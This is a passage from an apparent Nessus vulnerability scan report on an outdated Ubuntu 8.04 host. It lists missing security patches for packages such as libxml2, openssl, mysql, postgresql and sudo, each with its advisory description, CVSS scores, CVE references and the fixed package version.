5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 52379 |
| CVE | CVE-2012-0876 |
| CVE | CVE-2012-1148 |
| XREF | USN:1527-1 |

## Plugin Information

Published: 2012/08/10, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libexpat1_2.0.1-0ubuntu1
  - Fixed package     : libexpat1_2.0.1-0ubuntu1.2
```

## 61706 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : libgc vulnerability (USN-1546-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that multiple integer overflows existed in the malloc and calloc implementations in the Boehm-Demers-Weiser garbage collecting memory allocator (libgc). These could allow an attacker to cause a denial of service or possibly execute arbitrary code.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1546-1/

### Solution

Update the affected libgc1c2 package.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.016

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

### CVSS v2.0 Temporal Score

4.3 (CVSS2#E:ND/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 54227 |
| CVE | CVE-2012-2673 |
| XREF | USN:1546-1 |

## Plugin Information

Published: 2012/08/29, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libgc1c2_1:6.8-1.1
  - Fixed package     : libgc1c2_1:6.8-1.1ubuntu0.1
```

## 58974 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : libtasn1-3 vulnerability (USN-1436-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Matthew Hall discovered that Libtasn incorrectly handled certain large values. An attacker could exploit this with a specially crafted ASN.1 structure and cause a denial of service, or possibly execute arbitrary code.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1436-1/

### Solution

Update the affected libtasn1-3 package.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.1106

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52668 |
| CVE | CVE-2012-1569 |
| XREF | USN:1436-1 |

## Plugin Information

Published: 2012/05/03, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libtasn1-3_1.1-1
  - Fixed package     : libtasn1-3_1.1-1ubuntu0.1
```

## 59225 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : libxml2 vulnerability (USN-1447-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Juri Aedla discovered that libxml2 contained an off by one error in its XPointer functionality. If a user or application linked against libxml2 were tricked into opening a specially crafted XML file, an attacker could cause the application to crash or possibly execute arbitrary code with the privileges of the user invoking the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1447-1/

### Solution

Update the affected libxml2 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0198

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 53540 |
| CVE | CVE-2011-3102 |

| | |
|---|---|
| XREF | USN:1447-1 |

## Plugin Information

Published: 2012/05/22, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.9
```

## 62366 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : libxml2 vulnerability (USN-1587-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Juri Aedla discovered that libxml2 incorrectly handled certain memory operations. If a user or application linked against libxml2 were tricked into opening a specially crafted XML file, an attacker could cause the application to crash or possibly execute arbitrary code with the privileges of the user invoking the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1587-1/

### Solution

Update the affected libxml2 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0152

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 54718 |
| CVE | CVE-2012-2807 |
| XREF | USN:1587-1 |

## Plugin Information

Published: 2012/09/28, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.10
```

## 59452 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : mysql-5.1, mysql-5.5, mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities (USN-1467-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that certain builds of MySQL incorrectly handled password authentication on certain platforms. A remote attacker could use this issue to authenticate with an arbitrary password and establish a connection. (CVE-2012-2122)

MySQL has been updated to 5.5.24 in Ubuntu 12.04 LTS. Ubuntu 10.04 LTS, Ubuntu 11.04 and Ubuntu 11.10 have been updated to MySQL 5.1.63.
A patch to fix the issue was backported to the version of MySQL in Ubuntu 8.04 LTS.

In addition to additional security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.

Please see the following for more information :

http://dev.mysql.com/doc/refman/5.5/en/news-5-5-24.html http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1467-1/

### Solution

Update the affected mysql-server-5.0, mysql-server-5.1 and / or mysql-server-5.5 packages.

### Risk Factor

Medium

### VPR Score

7.4

### EPSS Score

0.9407

### CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

4.2 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 53911 |
| CVE | CVE-2012-2122 |
| XREF | USN:1467-1 |

### Exploitable With

CANVAS (true)

### Plugin Information

Published: 2012/06/12, Modified: 2019/09/19

### Plugin Output

tcp/0

```

  - Installed package : mysql-server-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server-5.0_5.0.96-0ubuntu3

```

## 59289 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : openssl vulnerabilities (USN-1451-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Ivan Nestlerode discovered that the Cryptographic Message Syntax (CMS) and PKCS #7 implementations in OpenSSL returned early if RSA decryption failed. This could allow an attacker to expose sensitive information via a Million Message Attack (MMA). (CVE-2012-0884)

It was discovered that an integer underflow was possible when using TLS 1.1, TLS 1.2, or DTLS with CBC encryption. This could allow a remote attacker to cause a denial of service. (CVE-2012-2333).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1451-1/

### Solution

Update the affected libssl0.9.8, libssl1.0.0 and / or openssl packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.134

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52428 |
| BID | 53476 |
| CVE | CVE-2012-0884 |
| CVE | CVE-2012-2333 |
| XREF | USN:1451-1 |

## Plugin Information

Published: 2012/05/29, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libssl0.9.8_0.9.8g-4ubuntu3.18
  - Fixed package     : libssl0.9.8_0.9.8g-4ubuntu3.19

  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.19
```

## 59385 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : postgresql-8.3, postgresql-8.4, postgresql-9.1 vulnerabilities (USN-1461-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PostgreSQL incorrectly handled certain bytes passed to the crypt() function when using DES encryption. An attacker could use this flaw to incorrectly handle authentication.

(CVE-2012-2143)

It was discovered that PostgreSQL incorrectly handled SECURITY DEFINER and SET attributes on procedural call handlers. An attacker could use this flaw to cause PostgreSQL to crash, leading to a denial of service. (CVE-2012-2655).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1461-1/

### Solution

Update the affected postgresql-8.3, postgresql-8.4 and / or postgresql-9.1 packages.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.0576

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 53729 |
| CVE | CVE-2012-2143 |
| CVE | CVE-2012-2655 |
| XREF | USN:1461-1 |

## Plugin Information

Published: 2012/06/06, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.19-0ubuntu8.04
```

## 61607 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : postgresql-8.3, postgresql-8.4, postgresql-9.1 vulnerabilities (USN-1542-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Peter Eisentraut discovered that the XSLT functionality in the optional XML2 extension would allow unprivileged database users to both read and write data with the privileges of the database server.

(CVE-2012-3488)

Noah Misch and Tom Lane discovered that the XML functionality in the optional XML2 extension would allow unprivileged database users to read data with the privileges of the database server. (CVE-2012-3489).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1542-1/

### Solution

Update the affected postgresql-8.3, postgresql-8.4 and / or postgresql-9.1 packages.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.0104

### CVSS v2.0 Base Score

4.9 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:N)

### CVSS v2.0 Temporal Score

3.6 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 55072 |
| BID | 55074 |
| CVE | CVE-2012-3488 |
| CVE | CVE-2012-3489 |
| XREF | USN:1542-1 |

## Plugin Information

Published: 2012/08/21, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.20-0ubuntu8.04
```

## 58872 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 : mysql-5.1, mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities (USN-1427-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Multiple security issues were discovered in MySQL and this update includes new upstream MySQL versions to fix these issues.

MySQL has been updated to 5.1.62 in Ubuntu 10.04 LTS, Ubuntu 11.04 and Ubuntu 11.10. Ubuntu 8.04 LTS has been updated to MySQL 5.0.96.

In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.

Please see the following for more information :

http://dev.mysql.com/doc/refman/5.1/en/news-5-1-62.html http://dev.mysql.com/doc/refman/5.0/en/news-5-0-96.html

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1427-1/

### Solution

Update the affected mysql-server-5.0 and / or mysql-server-5.1 packages.

### Risk Factor

Medium

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 53058 |
| BID | 53067 |

| | |
|---|---|
| BID | 53074 |
| XREF | USN:1427-1 |

## Plugin Information

Published: 2012/04/25, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : mysql-server-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server-5.0_5.0.96-0ubuntu1

```

## 65607 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : apache2 vulnerabilities (USN-1765-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Niels Heinen discovered that multiple modules incorrectly sanitized certain strings, which could result in browsers becoming vulnerable to cross-site scripting attacks when processing the output. With cross-site scripting vulnerabilities, if a user were tricked into viewing server output during a crafted server request, a remote attacker could exploit this to modify the contents, or steal confidential data (such as passwords), within the same domain.

(CVE-2012-3499, CVE-2012-4558)

It was discovered that the mod_proxy_ajp module incorrectly handled error states. A remote attacker could use this issue to cause the server to stop responding, resulting in a denial of service. This issue only applied to Ubuntu 8.04 LTS, Ubuntu 10.04 LTS and Ubuntu 11.10. (CVE-2012-4557)

It was discovered that the apache2ctl script shipped in Ubuntu packages incorrectly created the lock directory. A local attacker could possibly use this issue to gain privileges. The symlink protections in Ubuntu 11.10 and later should reduce this vulnerability to a denial of service. (CVE-2013-1048).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1765-1/

### Solution

Update the affected apache2.2-common package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.5613

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

## CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| CVE | CVE-2012-3499 |
| CVE | CVE-2012-4557 |
| CVE | CVE-2012-4558 |
| CVE | CVE-2013-1048 |
| XREF | USN:1765-1 |

## Plugin Information

Published: 2013/03/19, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : apache2.2-common_2.2.8-1ubuntu0.15
  - Fixed package     : apache2.2-common_2.2.8-1ubuntu0.25
```

## 65981 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : curl vulnerability (USN-1801-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

YAMADA Yasuharu discovered that libcurl was vulnerable to a cookie leak when doing requests across domains with matching tails. curl did not properly restrict cookies to domains and subdomains. If a user or automated system were tricked into processing a specially crafted URL, an attacker could read cookie values stored by unrelated webservers.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1801-1/

### Solution

Update the affected curl and / or libcurl3 packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.035

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 59058 |
| CVE | CVE-2013-1944 |

XREF USN:1801-1

## Plugin Information

Published: 2013/04/16, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : curl_7.18.0-1ubuntu2.3
  - Fixed package     : curl_7.18.0-1ubuntu2.4

  - Installed package : libcurl3_7.18.0-1ubuntu2.3
  - Fixed package     : libcurl3_7.18.0-1ubuntu2.4

```

## 63536 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : freetype vulnerabilities (USN-1686-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Mateusz Jurczyk discovered that FreeType did not correctly handle certain malformed BDF font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1686-1/

### Solution

Update the affected libfreetype6 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0282

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 57041 |
| CVE | CVE-2012-5668 |

|  |  |
|---|---|
| CVE | CVE-2012-5669 |
| CVE | CVE-2012-5670 |
| XREF | USN:1686-1 |

## Plugin Information

Published: 2013/01/15, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libfreetype6_2.3.5-1ubuntu4.8.04.2
  - Fixed package     : libfreetype6_2.3.5-1ubuntu4.8.04.10
```

## 63467 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : gnupg, gnupg2 vulnerability (USN-1682-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

KB Sriram discovered that GnuPG incorrectly handled certain malformed keys. If a user or automated system were tricked into importing a malformed key, the GnuPG keyring could become corrupted.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1682-1/

### Solution

Update the affected gnupg and / or gnupg2 packages.

### Risk Factor

Medium

### VPR Score

6.0

### EPSS Score

0.0244

### CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:ND/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 57102 |
| CVE | CVE-2012-6085 |
| XREF | USN:1682-1 |

## Plugin Information

Published: 2013/01/10, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : gnupg_1.4.6-2ubuntu5
  - Fixed package     : gnupg_1.4.6-2ubuntu5.2
```

## 64928 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : gnutls13, gnutls26 vulnerability (USN-1752-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Nadhem Alfardan and Kenny Paterson discovered that the TLS protocol as used in GnuTLS was vulnerable to a timing side-channel attack known as the 'Lucky Thirteen' issue. A remote attacker could use this issue to perform plaintext-recovery attacks via analysis of timing data.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1752-1/

### Solution

Update the affected libgnutls13 and / or libgnutls26 packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.0122

### CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:N)

### CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 57736 |
| CVE | CVE-2013-1619 |

XREF USN:1752-1

## Plugin Information

Published: 2013/02/28, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libgnutls13_2.0.4-1ubuntu2
  - Fixed package     : libgnutls13_2.0.4-1ubuntu2.9
```

## 63165 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : libxml2 vulnerability (USN-1656-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that libxml2 had a heap-based buffer underflow when parsing entities. If a user or automated system were tricked into processing a specially crafted XML document, applications linked against libxml2 could be made to crash or possibly execute arbitrary code.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1656-1/

### Solution

Update the affected libxml2 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0204

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 56684 |
| CVE | CVE-2012-5134 |
| XREF | USN:1656-1 |

## Plugin Information

Published: 2012/12/06, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.11
```

## 65730 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : libxml2 vulnerability (USN-1782-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that libxml2 incorrectly handled XML entity expansion. An attacker could use this flaw to cause libxml2 to consume large amounts of resources, resulting in a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1782-1/

### Solution

Update the affected libxml2 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0024

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 58180 |
| CVE | CVE-2013-0338 |
| XREF | USN:1782-1 |

## Plugin Information

Published: 2013/03/29, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.12
```

## 64798 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : openssl vulnerabilities (USN-1732-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Adam Langley and Wolfgang Ettlingers discovered that OpenSSL incorrectly handled certain crafted CBC data when used with AES-NI. A remote attacker could use this issue to cause OpenSSL to crash, resulting in a denial of service. This issue only affected Ubuntu 12.04 LTS and Ubuntu 12.10. (CVE-2012-2686)

Stephen Henson discovered that OpenSSL incorrectly performed signature verification for OCSP responses. A remote attacker could use this issue to cause OpenSSL to crash, resulting in a denial of service.

(CVE-2013-0166)

Nadhem Alfardan and Kenny Paterson discovered that the TLS protocol as used in OpenSSL was vulnerable to a timing side-channel attack known as the 'Lucky Thirteen' issue. A remote attacker could use this issue to perform plaintext-recovery attacks via analysis of timing data.

(CVE-2013-0169).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1732-1/

### Solution

Update the affected libssl0.9.8 and / or libssl1.0.0 packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.5466

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 57755 |
| BID | 57778 |
| CVE | CVE-2012-2686 |
| CVE | CVE-2013-0166 |
| CVE | CVE-2013-0169 |
| XREF | USN:1732-1 |
| XREF | CEA-ID:CEA-2019-0547 |

### Plugin Information

Published: 2013/02/22, Modified: 2022/12/05

### Plugin Output

tcp/0

```
  - Installed package : libssl0.9.8_0.9.8g-4ubuntu3.18
  - Fixed package     : libssl0.9.8_0.9.8g-4ubuntu3.20
```

## 64616 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : postgresql-8.3, postgresql-8.4, postgresql-9.1 vulnerability (USN-1717-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Sumit Soni discovered that PostgreSQL incorrectly handled calling a certain internal function with invalid arguments. An authenticated attacker could use this issue to cause PostgreSQL to crash, resulting in a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1717-1/

### Solution

Update the affected postgresql-8.3, postgresql-8.4 and / or postgresql-9.1 packages.

### Risk Factor

Medium

### VPR Score

1.4

### EPSS Score

0.0309

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 57844 |
| CVE | CVE-2013-0255 |

XREF USN:1717-1

## Plugin Information

Published: 2013/02/13, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.23-0ubuntu8.04
```

## 64969 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : sudo vulnerability (USN-1754-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Marco Schoepl discovered that Sudo incorrectly handled time stamp files when the system clock is set to epoch. A local attacker could use this issue to run Sudo commands without a password prompt.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1754-1/

### Solution

Update the affected sudo and / or sudo-ldap packages.

### Risk Factor

Medium

### VPR Score

8.9

### EPSS Score

0.0308

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.7 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 58203 |
| CVE | CVE-2013-1775 |
| XREF | USN:1754-1 |

## Exploitable With

CANVAS (true) Metasploit (true)

## Plugin Information

Published: 2013/03/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : sudo_1.6.9p10-1ubuntu3
  - Fixed package     : sudo_1.6.9p10-1ubuntu3.10
```

## 62936 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : tiff vulnerabilities (USN-1631-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that LibTIFF incorrectly handled certain malformed images using the PixarLog compression format. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service, or possibly execute arbitrary code with user privileges.

(CVE-2012-4447)

Huzaifa S. Sidhpurwala discovered that the ppm2tiff tool incorrectly handled certain malformed PPM images. If a user or automated system were tricked into opening a specially crafted PPM image, a remote attacker could crash the application, leading to a denial of service, or possibly execute arbitrary code with user privileges.

(CVE-2012-4564).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1631-1/

### Solution

Update the affected libtiff4 and / or libtiff5 packages.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.2333

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 55673 |
| BID | 56372 |
| CVE | CVE-2012-4447 |
| CVE | CVE-2012-4564 |
| XREF | USN:1631-1 |

## Plugin Information

Published: 2012/11/16, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libtiff4_3.8.2-7ubuntu3.4
  - Fixed package     : libtiff4_3.8.2-7ubuntu3.14
```

## 63164 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS : tiff vulnerability (USN-1655-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that LibTIFF incorrectly handled certain malformed images using the DOTRANGE tag. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service, or possibly execute arbitrary code with user privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1655-1/

### Solution

Update the affected libtiff4 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0164

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 56715 |
| CVE | CVE-2012-5581 |
| XREF | USN:1655-1 |

## Plugin Information

Published: 2012/12/06, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libtiff4_3.8.2-7ubuntu3.4
  - Fixed package     : libtiff4_3.8.2-7ubuntu3.16
```

## 36749 - Ubuntu 8.04 LTS / 8.10 : dash vulnerability (USN-732-1)

### Synopsis

